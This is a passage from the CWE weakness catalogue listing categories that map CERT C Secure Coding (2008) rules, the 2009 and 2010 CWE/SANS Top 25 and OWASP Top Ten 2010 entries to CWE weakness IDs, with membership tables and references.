In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-20 INT06-C Use strtol() or a related function to convert a string token to an integer CWE-129 INT32-C Ensure that operations on signed integers do not result in overflow CWE-190 INT03-C Use a secure integer library CWE-190 INT30-C Ensure that unsigned integer operations do not wrap CWE-190 INT32-C Ensure that operations on signed integers do not result in overflow CWE-190 INT35-C Evaluate integer expressions in a larger size before comparing or assigning to that size CWE-192 INT02-C Understand integer conversion rules CWE-192 INT05-C Do not use input functions to convert character data if they cannot handle all possible inputs CWE-192 INT31-C Ensure that integer conversions do not result in lost or misinterpreted data CWE-197 INT02-C Understand integer conversion rules CWE-197 INT05-C Do not use input functions to convert character data if they cannot handle all possible inputs CWE-197 INT31-C Ensure that integer conversions do not result in lost or misinterpreted data CWE-369 INT33-C Ensure that division and modulo operations do not result in divide-by-zero errors CWE-466 INT11-C Take care when converting from pointer to integer or integer to pointer CWE-587 INT11-C Take care when converting from pointer to integer or integer to pointer CWE-606 INT03-C Use a secure integer library CWE-676 INT06-C Use strtol() or a related function to convert a string token to an integer CWE-681 INT15-C Use intmax\_t or uintmax\_t for formatted IO on programmer-defined integer types CWE-681 INT31-C Ensure that integer conversions do not result in lost or misinterpreted data CWE-681 INT35-C Evaluate integer expressions in a larger size before comparing or assigning to that size CWE-682 INT07-C Use only explicitly signed or unsigned char type for numeric values CWE-682 INT13-C Use bitwise operators only on unsigned operands

### References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

## Category-739: CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)

Category ID : 739

2136

## Summary

Weaknesses in this category are related to the rules and recommendations in the Floating Point (FLP) chapter of the CERT C Secure Coding Standard (2008).

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2320
HasMember	B	369	Divide By Zero	734	865
HasMember	B	681	Incorrect Conversion between Numeric Types	734	1400
HasMember	P	682	Incorrect Calculation	734	1403
HasMember	V	686	Function Call With Incorrect Argument Type	734	1412

## Notes

### Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-369 FLP03-C Detect and handle floating point errors CWE-681 FLP33-C Convert integers to floating point for floating point operations CWE-681 FLP34-C Ensure that floating point conversions are within range of the new type CWE-682 FLP32-C Prevent or detect domain and range errors in math functions CWE-682 FLP33-C Convert integers to floating point for floating point operations CWE-686 FLP31-C Do not call functions expecting real values with complex values

## References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

## Category-740: CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)

Category ID : 740

## Summary

Weaknesses in this category are related to the rules and recommendations in the Arrays (ARR) chapter of the CERT C Secure Coding Standard (2008).

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2320
HasMember	G	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	734	283
HasMember	V	129	Improper Validation of Array Index	734	327
HasMember	V	467	Use of sizeof() on a Pointer Type	734	1050
HasMember	B	469	Use of Pointer Subtraction to Determine Size	734	1055
HasMember	G	665	Improper Initialization	734	1368
HasMember	B	805	Buffer Access with Incorrect Length Value	734	1585

## Notes

### Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-119 ARR00-C Understand how arrays work CWE-119 ARR33-C Guarantee that copies are made into storage of sufficient size CWE-119 ARR34-C Ensure that array types in expressions are compatible CWE-119 ARR35-C Do not allow loops to iterate beyond the end of an array CWE-129 ARR00-C Understand how arrays work CWE-129 ARR30-C Guarantee that array indices are within the valid range CWE-129 ARR38-C Do not add or subtract an integer to a pointer if the resulting value does not refer to a valid array element CWE-467 ARR01-C Do not apply the sizeof operator to a pointer when taking the size of an array CWE-469 ARR36-C Do not subtract or compare two pointers that do not refer to the same array CWE-469 ARR37-C Do not add or subtract an integer to a pointer to a non-array object CWE-665 ARR02-C Explicitly specify array bounds, even if implicitly defined by an initializer CWE-805 ARR33-C Guarantee that copies are made into storage of sufficient size

## References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

## Category-741: CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)

Category ID : 741

## Summary

Weaknesses in this category are related to the rules and recommendations in the Characters and Strings (STR) chapter of the CERT C Secure Coding Standard (2008).

## Membership

Nature	Type	ID	Name	W	Page
MemberOf	W	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2320
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	734	147
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	734	188
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	734	283
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	734	294
HasMember	B	135	Incorrect Calculation of Multi-Byte String Length	734	355
HasMember	B	170	Improper Null Termination	734	411
HasMember	B	193	Off-by-one Error	734	466
HasMember	B	464	Addition of Data Structure Sentinel	734	1047
HasMember	V	686	Function Call With Incorrect Argument Type	734	1412
HasMember	G	704	Incorrect Type Conversion or Cast	734	1435

## Notes

### Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-78 STR02-C Sanitize data passed to complex subsystems CWE-88 STR02-C Sanitize data passed to complex subsystems CWE-119 STR31-C Guarantee that storage for strings has sufficient space for character data and the null terminator CWE-119 STR32-C Null-terminate byte strings as required CWE-119 STR33-C Size wide character strings



correctly CWE-120 STR35-C Do not copy data from an unbounded source to a fixed-length array  
 CWE-135 STR33-C Size wide character strings correctly  
 CWE-170 STR03-C Do not inadvertently truncate a null-terminated byte string  
 CWE-170 STR32-C Null-terminate byte strings as required  
 CWE-193 STR31-C Guarantee that storage for strings has sufficient space for character data and the null terminator  
 CWE-464 STR03-C Do not inadvertently truncate a null-terminated byte string  
 CWE-464 STR06-C Do not assume that strtok() leaves the parse string unchanged  
 CWE-686 STR37-C Arguments to character handling functions must be representable as an unsigned char  
 CWE-704 STR34-C Cast characters to unsigned types before converting to larger integer sizes  
 CWE-704 STR37-C Arguments to character handling functions must be representable as an unsigned char

## References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

## Category-742: CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)

Category ID : 742

### Summary

Weaknesses in this category are related to the rules and recommendations in the Memory Management (MEM) chapter of the CERT C Secure Coding Standard (2008).

### Membership

Nature	Type	ID	Name	734	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2320
HasMember	G	20	Improper Input Validation	734	19
HasMember	G	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	734	283
HasMember	B	128	Wrap-around Error	734	324
HasMember	B	131	Incorrect Calculation of Buffer Size	734	340
HasMember	B	190	Integer Overflow or Wraparound	734	453
HasMember	B	226	Sensitive Information in Resource Not Removed Before Reuse	734	536
HasMember	V	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')	734	561
HasMember	B	252	Unchecked Return Value	734	575
HasMember	V	415	Double Free	734	954
HasMember	V	416	Use After Free	734	958
HasMember	B	476	NULL Pointer Dereference	734	1070
HasMember	V	528	Exposure of Core Dump File to an Unauthorized Control Sphere	734	1168
HasMember	V	590	Free of Memory not on the Heap	734	1248
HasMember	V	591	Sensitive Data Storage in Improperly Locked Memory	734	1251
HasMember	B	628	Function Call with Incorrectly Specified Arguments	734	1316
HasMember	G	665	Improper Initialization	734	1368
HasMember	V	687	Function Call With Incorrectly Specified Argument Value	734	1413
HasMember	G	754	Improper Check for Unusual or Exceptional Conditions	734	1460

### Notes



## Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-20 MEM10-C Define and use a pointer validation function  
 CWE-119 MEM09-C Do not assume memory allocation routines initialize memory  
 CWE-128 MEM07-C Ensure that the arguments to calloc(), when multiplied, can be represented as a size\_t  
 CWE-131 MEM35-C Allocate sufficient memory for an object  
 CWE-190 MEM07-C Ensure that the arguments to calloc(), when multiplied, can be represented as a size\_t  
 CWE-190 MEM35-C Allocate sufficient memory for an object  
 CWE-226 MEM03-C Clear sensitive information stored in reusable resources returned for reuse  
 CWE-244 MEM03-C Clear sensitive information stored in reusable resources returned for reuse  
 CWE-252 MEM32-C Detect and handle memory allocation errors  
 CWE-415 MEM00-C Allocate and free memory in the same module, at the same level of abstraction  
 CWE-415 MEM01-C Store a new value in pointers immediately after free()  
 CWE-415 MEM31-C Free dynamically allocated memory exactly once  
 CWE-416 MEM00-C Allocate and free memory in the same module, at the same level of abstraction  
 CWE-416 MEM01-C Store a new value in pointers immediately after free()  
 CWE-416 MEM30-C Do not access freed memory  
 CWE-476 MEM32-C Detect and handle memory allocation errors  
 CWE-528 MEM06-C Ensure that sensitive data is not written out to disk  
 CWE-590 MEM34-C Only free memory allocated dynamically  
 CWE-591 MEM06-C Ensure that sensitive data is not written out to disk  
 CWE-628 MEM08-C Use realloc() only to resize dynamically allocated arrays  
 CWE-665 MEM09-C Do not assume memory allocation routines initialize memory  
 CWE-687 MEM04-C Do not perform zero length allocations  
 CWE-754 MEM32-C Detect and handle memory allocation errors

## References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

## Category-743: CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)

Category ID : 743

## Summary

Weaknesses in this category are related to the rules and recommendations in the Input Output (FIO) chapter of the CERT C Secure Coding Standard (2008).

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2320
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	734	33
HasMember	V	37	Path Traversal: '/absolute/pathname/here'	734	75
HasMember	V	38	Path Traversal: '\absolute\pathname\here'	734	77
HasMember	V	39	Path Traversal: 'C:dirname'	734	79
HasMember	B	41	Improper Resolution of Path Equivalence	734	83
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	734	108
HasMember	V	62	UNIX Hard Link	734	115
HasMember	V	64	Windows Shortcut Following (.LNK)	734	117
HasMember	V	65	Windows Hard Link	734	119
HasMember	V	67	Improper Handling of Windows Device Names	734	122

Nature	Type	ID	Name	V	Page
HasMember		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	734	283
HasMember		134	Use of Externally-Controlled Format String	734	349
HasMember		241	Improper Handling of Unexpected Data Type	734	555
HasMember		276	Incorrect Default Permissions	734	630
HasMember		279	Incorrect Execution-Assigned Permissions	734	636
HasMember		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	734	841
HasMember		367	Time-of-check Time-of-use (TOCTOU) Race Condition	734	858
HasMember		379	Creation of Temporary File in Directory with Insecure Permissions	734	881
HasMember		391	Unchecked Error Condition	734	898
HasMember		403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')	734	925
HasMember		404	Improper Resource Shutdown or Release	734	927
HasMember		552	Files or Directories Accessible to External Parties	734	1193
HasMember		675	Multiple Operations on Resource in Single-Operation Context	734	1393
HasMember		676	Use of Potentially Dangerous Function	734	1394
HasMember		686	Function Call With Incorrect Argument Type	734	1412
HasMember		732	Incorrect Permission Assignment for Critical Resource	734	1445

## Notes

### Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-22 FIO02-C Canonicalize path names originating from untrusted sources CWE-37 FIO05-C Identify files using multiple file attributes CWE-38 FIO05-C Identify files using multiple file attributes CWE-39 FIO05-C Identify files using multiple file attributes CWE-41 FIO02-C Canonicalize path names originating from untrusted sources CWE-59 FIO02-C Canonicalize path names originating from untrusted sources CWE-62 FIO05-C Identify files using multiple file attributes CWE-64 FIO05-C Identify files using multiple file attributes CWE-65 FIO05-C Identify files using multiple file attributes CWE-67 FIO32-C Do not perform operations on devices that are only appropriate for files CWE-119 FIO37-C Do not assume character data has been read CWE-134 FIO30-C Exclude user input from format strings CWE-134 FIO30-C Exclude user input from format strings CWE-241 FIO37-C Do not assume character data has been read CWE-276 FIO06-C Create files with appropriate access permissions CWE-279 FIO06-C Create files with appropriate access permissions CWE-362 FIO31-C Do not simultaneously open the same file multiple times CWE-367 FIO01-C Be careful using functions that use file names for identification CWE-379 FIO15-C Ensure that file operations are performed in a secure directory CWE-379 FIO43-C Do not create temporary files in shared directories CWE-391 FIO04-C Detect and handle input and output errors CWE-391 FIO33-C Detect and handle input output errors resulting in undefined behavior CWE-403 FIO42-C Ensure files are properly closed when they are no longer needed CWE-404 FIO42-C Ensure files are properly closed when they are no longer needed CWE-552 FIO15-C Ensure that file operations are performed in a secure directory CWE-675 FIO31-C Do not simultaneously open the same file multiple times CWE-676 FIO01-C Be careful using functions that use file names for identification CWE-686 FIO00-C Take care when creating format strings CWE-732 FIO06-C Create files with appropriate access permissions

### References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

## Category-744: CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)

Category ID : 744

### Summary

Weaknesses in this category are related to the rules and recommendations in the Environment (ENV) chapter of the CERT C Secure Coding Standard (2008).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2320
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	734	147
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	734	188
HasMember	G	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	734	283
HasMember	B	426	Untrusted Search Path	734	972
HasMember	B	462	Duplicate Key in Associative List (Alist)	734	1043
HasMember	G	705	Incorrect Control Flow Scoping	734	1437

### Notes

#### Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-78 ENV03-C Sanitize the environment when invoking external programs CWE-78 ENV04-C Do not call system() if you do not need a command processor CWE-88 ENV03-C Sanitize the environment when invoking external programs CWE-88 ENV04-C Do not call system() if you do not need a command processor CWE-119 ENV01-C Do not make assumptions about the size of an environment variable CWE-426 ENV03-C Sanitize the environment when invoking external programs CWE-462 ENV02-C Beware of multiple environment variables with the same effective name CWE-705 ENV32-C All atexit handlers must return normally

### References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

## Category-745: CERT C Secure Coding Standard (2008) Chapter 12 - Signals (SIG)

Category ID : 745

### Summary

Weaknesses in this category are related to the rules and recommendations in the Signals (SIG) chapter of the CERT C Secure Coding Standard (2008).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2320

Nature	Type	ID	Name	V	Page
HasMember	V	479	Signal Handler Use of a Non-reentrant Function	734	1084
HasMember	G	662	Improper Synchronization	734	1363

## Notes

### Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-432 SIG00-C Mask signals handled by noninterruptible signal handlers CWE-479 SIG30-C Call only asynchronous-safe functions within signal handlers CWE-479 SIG32-C Do not call longjmp() from inside a signal handler CWE-479 SIG33-C Do not recursively invoke the raise() function CWE-479 SIG34-C Do not call signal() from within interruptible signal handlers CWE-662 SIG00-C Mask signals handled by noninterruptible signal handlers CWE-662 SIG31-C Do not access or modify shared objects in signal handlers CWE-828 SIG31-C Do not access or modify shared objects in signal handlers

## References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

## Category-746: CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)

Category ID : 746

## Summary

Weaknesses in this category are related to the rules and recommendations in the Error Handling (ERR) chapter of the CERT C Secure Coding Standard (2008).

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2320
HasMember	G	20	Improper Input Validation	734	19
HasMember	B	391	Unchecked Error Condition	734	898
HasMember	B	544	Missing Standardized Error Handling Mechanism	734	1185
HasMember	B	676	Use of Potentially Dangerous Function	734	1394
HasMember	G	705	Incorrect Control Flow Scoping	734	1437

## Notes

### Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-20 ERR07-C Prefer functions that support error checking over equivalent functions that don't CWE-391 ERR00-C Adopt and implement a consistent and comprehensive error-handling policy CWE-544 ERR00-C Adopt and implement a consistent and comprehensive error-handling policy CWE-676 ERR07-C Prefer functions that support error checking over equivalent functions that don't CWE-705 ERR04-C Choose an appropriate termination strategy

## References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

## Category-747: CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)

Category ID : 747

### Summary

Weaknesses in this category are related to the rules and recommendations in the Miscellaneous (MSC) chapter of the CERT C Secure Coding Standard (2008).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2320
HasMember	V	14	Compiler Removal of Code to Clear Buffers	734	14
HasMember	G	20	Improper Input Validation	734	19
HasMember	V	176	Improper Handling of Unicode Encoding	734	422
HasMember	G	330	Use of Insufficiently Random Values	734	772
HasMember	B	480	Use of Incorrect Operator	734	1087
HasMember	V	482	Comparing instead of Assigning	734	1093
HasMember	B	561	Dead Code	734	1201
HasMember	V	563	Assignment to Variable without Use	734	1206
HasMember	B	570	Expression is Always False	734	1216
HasMember	B	571	Expression is Always True	734	1219
HasMember	P	697	Incorrect Comparison	734	1428
HasMember	G	704	Incorrect Type Conversion or Cast	734	1435

### Notes

#### Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-14 MSC06-C Be aware of compiler optimization when dealing with sensitive data CWE-20 MSC08-C Library functions should validate their parameters CWE-176 MSC10-C Character Encoding - UTF8 Related Issues CWE-330 MSC30-C Do not use the rand() function for generating pseudorandom numbers CWE-480 MSC02-C Avoid errors of omission CWE-480 MSC03-C Avoid errors of addition CWE-482 MSC02-C Avoid errors of omission CWE-561 MSC07-C Detect and remove dead code CWE-563 MSC00-C Compile cleanly at high warning levels CWE-570 MSC00-C Compile cleanly at high warning levels CWE-571 MSC00-C Compile cleanly at high warning levels CWE-697 MSC31-C Ensure that return values are compared against the proper type CWE-704 MSC31-C Ensure that return values are compared against the proper type CWE-758 MSC14-C Do not introduce unnecessary platform dependencies CWE-758 MSC15-C Do not depend on undefined behavior

### References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

## Category-748: CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)

Category ID : 748

### Summary



Weaknesses in this category are related to the rules and recommendations in the POSIX (POS) appendix of the CERT C Secure Coding Standard (2008).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2320
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	734	108
HasMember	B	170	Improper Null Termination	734	411
HasMember	B	242	Use of Inherently Dangerous Function	734	557
HasMember	B	272	Least Privilege Violation	734	623
HasMember	B	273	Improper Check for Dropped Privileges	734	626
HasMember	B	363	Race Condition Enabling Link Following	734	849
HasMember	B	366	Race Condition within a Thread	734	856
HasMember	B	562	Return of Stack Variable Address	734	1204
HasMember	G	667	Improper Locking	734	1375
HasMember	V	686	Function Call With Incorrect Argument Type	734	1412
HasMember	G	696	Incorrect Behavior Order	734	1426

### Notes

#### Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-59 POS01-C Check for the existence of links when dealing with files CWE-170 POS30-C Use the readlink() function properly CWE-242 POS33-C Do not use vfork() CWE-272 POS02-C Follow the principle of least privilege CWE-273 POS37-C Ensure that privilege relinquishment is successful CWE-363 POS35-C Avoid race conditions while checking for the existence of a symbolic link CWE-366 POS00-C Avoid race conditions with multiple threads CWE-562 POS34-C Do not call putenv() with a pointer to an automatic variable as the argument CWE-667 POS31-C Do not unlock or destroy another thread's mutex CWE-686 POS34-C Do not call putenv() with a pointer to an automatic variable as the argument CWE-696 POS36-C Observe correct revocation order while relinquishing privileges

### References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

## Category-751: 2009 Top 25 - Insecure Interaction Between Components

Category ID : 751

### Summary

Weaknesses in this category are listed in the "Insecure Interaction Between Components" section of the 2009 CWE/SANS Top 25 Programming Errors.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	750	Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors	750	2322
HasMember	G	20	Improper Input Validation	750	19
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	750	147

Nature	Type	ID	Name	V	Page
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	750	159
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	750	195
HasMember	C	116	Improper Encoding or Escaping of Output	750	272
HasMember	B	209	Generation of Error Message Containing Sensitive Information	750	510
HasMember	B	319	Cleartext Transmission of Sensitive Information	750	740
HasMember	A	352	Cross-Site Request Forgery (CSRF)	750	821
HasMember	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	750	841

### References

[REF-615]"2009 CWE/SANS Top 25 Most Dangerous Programming Errors". 2009 January 2. <  
[http://cwe.mitre.org/top25/archive/2009/2009\\_cwe\\_sans\\_top25.html](http://cwe.mitre.org/top25/archive/2009/2009_cwe_sans_top25.html) >.

## Category-752: 2009 Top 25 - Risky Resource Management

Category ID : 752

### Summary

Weaknesses in this category are listed in the "Risky Resource Management" section of the 2009 CWE/SANS Top 25 Programming Errors.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	750	Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors	750	2322
HasMember	B	73	External Control of File Name or Path	750	128
HasMember	B	94	Improper Control of Generation of Code ('Code Injection')	750	213
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	750	283
HasMember	C	404	Improper Resource Shutdown or Release	750	927
HasMember	B	426	Untrusted Search Path	750	972
HasMember	B	494	Download of Code Without Integrity Check	750	1119
HasMember	C	642	External Control of Critical State Data	750	1330
HasMember	C	665	Improper Initialization	750	1368
HasMember	P	682	Incorrect Calculation	750	1403

### References

[REF-615]"2009 CWE/SANS Top 25 Most Dangerous Programming Errors". 2009 January 2. <  
[http://cwe.mitre.org/top25/archive/2009/2009\\_cwe\\_sans\\_top25.html](http://cwe.mitre.org/top25/archive/2009/2009_cwe_sans_top25.html) >.

## Category-753: 2009 Top 25 - Porous Defenses

Category ID : 753

### Summary



Weaknesses in this category are listed in the "Porous Defenses" section of the 2009 CWE/SANS Top 25 Programming Errors.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	750	Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors	750	2322
HasMember	B	250	Execution with Unnecessary Privileges	750	568
HasMember	V	259	Use of Hard-coded Password	750	591
HasMember	G	285	Improper Authorization	750	649
HasMember	G	327	Use of a Broken or Risky Cryptographic Algorithm	750	758
HasMember	G	330	Use of Insufficiently Random Values	750	772
HasMember	G	602	Client-Side Enforcement of Server-Side Security	750	1271
HasMember	G	732	Incorrect Permission Assignment for Critical Resource	750	1445
HasMember	B	798	Use of Hard-coded Credentials	750	1573

### References

[REF-615]"2009 CWE/SANS Top 25 Most Dangerous Programming Errors". 2009 January 2. < [http://cwe.mitre.org/top25/archive/2009/2009\\_cwe\\_sans\\_top25.html](http://cwe.mitre.org/top25/archive/2009/2009_cwe_sans_top25.html) >.

## Category-801: 2010 Top 25 - Insecure Interaction Between Components

Category ID : 801

### Summary

Weaknesses in this category are listed in the "Insecure Interaction Between Components" section of the 2010 CWE/SANS Top 25 Programming Errors.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	800	Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors	800	2322
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	800	147
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	800	159
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	800	195
HasMember	B	209	Generation of Error Message Containing Sensitive Information	800	510
HasMember	A	352	Cross-Site Request Forgery (CSRF)	800	821
HasMember	G	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	800	841
HasMember	B	434	Unrestricted Upload of File with Dangerous Type	800	991
HasMember	B	601	URL Redirection to Untrusted Site ('Open Redirect')	800	1266

### References

[REF-732]"2010 CWE/SANS Top 25 Most Dangerous Software Errors". 2010 February 4. < [http://cwe.mitre.org/top25/archive/2010/2010\\_cwe\\_sans\\_top25.html](http://cwe.mitre.org/top25/archive/2010/2010_cwe_sans_top25.html) >.

## Category-802: 2010 Top 25 - Risky Resource Management

Category ID : 802

### Summary

Weaknesses in this category are listed in the "Risky Resource Management" section of the 2010 CWE/SANS Top 25 Programming Errors.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	800	Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors	800	2322
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	800	33
HasMember	V	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	800	229
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	800	294
HasMember	V	129	Improper Validation of Array Index	800	327
HasMember	B	131	Incorrect Calculation of Buffer Size	800	340
HasMember	B	190	Integer Overflow or Wraparound	800	453
HasMember	B	494	Download of Code Without Integrity Check	800	1119
HasMember	G	754	Improper Check for Unusual or Exceptional Conditions	800	1460
HasMember	B	770	Allocation of Resources Without Limits or Throttling	800	1502
HasMember	B	805	Buffer Access with Incorrect Length Value	800	1585

### References

[REF-732]"2010 CWE/SANS Top 25 Most Dangerous Software Errors". 2010 February 4. < [http://cwe.mitre.org/top25/archive/2010/2010\\_cwe\\_sans\\_top25.html](http://cwe.mitre.org/top25/archive/2010/2010_cwe_sans_top25.html) >.

## Category-803: 2010 Top 25 - Porous Defenses

Category ID : 803

### Summary

Weaknesses in this category are listed in the "Porous Defenses" section of the 2010 CWE/SANS Top 25 Programming Errors.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	800	Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors	800	2322
HasMember	G	285	Improper Authorization	800	649
HasMember	B	306	Missing Authentication for Critical Function	800	703
HasMember	G	311	Missing Encryption of Sensitive Data	800	718
HasMember	G	327	Use of a Broken or Risky Cryptographic Algorithm	800	758
HasMember	G	732	Incorrect Permission Assignment for Critical Resource	800	1445
HasMember	B	798	Use of Hard-coded Credentials	800	1573
HasMember	B	807	Reliance on Untrusted Inputs in a Security Decision	800	1595

### References

[REF-732]"2010 CWE/SANS Top 25 Most Dangerous Software Errors". 2010 February 4. < [http://cwe.mitre.org/top25/archive/2010/2010\\_cwe\\_sans\\_top25.html](http://cwe.mitre.org/top25/archive/2010/2010_cwe_sans_top25.html) >.

## Category-808: 2010 Top 25 - Weaknesses On the Cusp

Category ID : 808

### Summary

Weaknesses in this category are not part of the general Top 25, but they were part of the original nominee list from which the Top 25 was drawn.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	800	Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors	800	2322
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	800	108
HasMember	B	134	Use of Externally-Controlled Format String	800	349
HasMember	B	212	Improper Removal of Sensitive Information Before Storage or Transfer	800	520
HasMember	B	307	Improper Restriction of Excessive Authentication Attempts	800	709
HasMember	G	330	Use of Insufficiently Random Values	800	772
HasMember	V	416	Use After Free	800	958
HasMember	B	426	Untrusted Search Path	800	972
HasMember	B	454	External Initialization of Trusted Variables or Data Stores	800	1025
HasMember	V	456	Missing Initialization of a Variable	800	1029
HasMember	B	476	NULL Pointer Dereference	800	1070
HasMember	G	672	Operation on a Resource after Expiration or Release	800	1386
HasMember	B	681	Incorrect Conversion between Numeric Types	800	1400
HasMember	B	749	Exposed Dangerous Method or Function	800	1456
HasMember	B	772	Missing Release of Resource after Effective Lifetime	800	1512
HasMember	G	799	Improper Control of Interaction Frequency	800	1582
HasMember	B	804	Guessable CAPTCHA	800	1584

### References

[REF-732]"2010 CWE/SANS Top 25 Most Dangerous Software Errors". 2010 February 4. < [http://cwe.mitre.org/top25/archive/2010/2010\\_cwe\\_sans\\_top25.html](http://cwe.mitre.org/top25/archive/2010/2010_cwe_sans_top25.html) >.

## Category-810: OWASP Top Ten 2010 Category A1 - Injection

Category ID : 810

### Summary

Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2010.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	2323

Nature	Type	ID	Name	V	Page
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	809	147
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	809	188
